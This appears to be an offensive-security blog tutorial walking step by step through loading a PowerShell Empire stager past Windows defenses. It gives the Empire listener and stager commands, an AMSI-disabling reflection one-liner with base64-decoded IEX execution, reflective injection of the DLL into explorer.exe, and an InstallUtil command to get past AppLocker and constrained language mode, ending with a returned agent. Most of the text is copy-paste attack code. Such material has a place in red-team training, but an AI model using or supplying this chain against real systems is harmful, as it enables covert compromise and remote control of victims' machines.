This technique involves packing everything together several times to bypass all the security mechanisms. I based this on the awesome article from Improsec called "Babushka dolls" and elements from it's Github project.
Edit: Sadly after Windows 10 1803 and onwards this trick doesn't work for bypassing AMSI any longer. AMSI now uses a scanbuffer instead of scanstring which was previously used.
Set up a listener and generate a stager. I've put all the commands below for easy copypaste.
./Empirelistenersuselistenerset Host 10.0.0.15set Port 80executebackusestager multi/launcherset Listener httpgenerate
We are now going to write the stager we generated into the ReflectivePick project.
Open the PowerPick project in VS. It may be necessary to set the target to x64. Project -> ReflectivePick properties -> Configuration Manager -> Platform
Add the base64 from the stager where appropriate.
wchar_t* argument = L"[Ref].Assembly.GetType('System.Management.Automation.sAmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true);$encoded = \"BASE64STRING\";$decoded = [System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String($encoded));$decoded | Out-File -FilePath C:\Windows\Tasks\out.txt;IEX $decoded"; //Output debug
This includes an output write for demonstration purposes. You can remove it if you desire.
Compile the dll to
We can now try to run the dll with
rundll32.exe .\ReflectivePick_x64.dll,Void but as you will soon discover, AMSI picks up the Empire stager during runtime.
Disable AMSI however, and you get an agent back.
You can also view the base64-decoded stager payload in
We can't rely on manually disabling AMSI, so we are going to run it through a few more hoops.
To avoid creating a new process and loading the non-whitelisted DLL we are going to reflectively inject it into a process using Invoke-ReflectiveInjection.
Use the following commands in PS to encode the DLL to base64 and pipe the results to a file. Don't worry if the commands take a few seconds to run. I have also noticed that Powershell adds a newline at the bottom of the file when Base64-encoding like this so manually remove that if it is present.
$Content = Get-Content .\ReflectivePick_x64.dll -Encoding Byte$Encoded = [System.Convert]::ToBase64String($Content)$Encoded | Out-File "C:\users\chris\Desktop\PowerTools-master\PowerPick\bin\x64\Debug\dll.txt"
Now you want to download Invoke-ReflectivePEInjection to the working directory and open it in a text editor. At the bottom of the file, add the following lines, where we copypaste the contents of
dll.txt to the
$dllData object. This will ensure the dll is reflectively injected into the
explorer.exe process during runtime.
$dllData = "DLLBASE64_GOES_HERE"$ProcId = (Get-Process explorer).Id$Bytes = [System.Convert]::FromBase64String($dllData)Invoke-ReflectivePEInjection -PEBytes $Bytes -ProcId $ProcId
In powershell, base64 encode the entire script. Remove the newline at the bottom of the output file if present.
$Content = Get-Content .\Invoke-ReflectivePEInjection.ps1 -Encoding Byte$Encoded = [System.Convert]::ToBase64String($Content)$Encoded | Out-File "C:\users\chris\Desktop\PowerTools-master\PowerPick\bin\x64\Debug\pe.txt"
Open the Bypass project in VS and copypaste the base64 into the encoded variable. Compile to
Bypass.exe with VS.
installutil.exe or similar LOLbBns to execute
Bypass.exe. If Applocker is present, execute it from a whitelisted directory such as
C:\windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=false /U C:\Windows\Tasks\Bypass.exe
Thrilling! We bypassed both Applocker and Powershell constrained language mode and got an Empire agent back.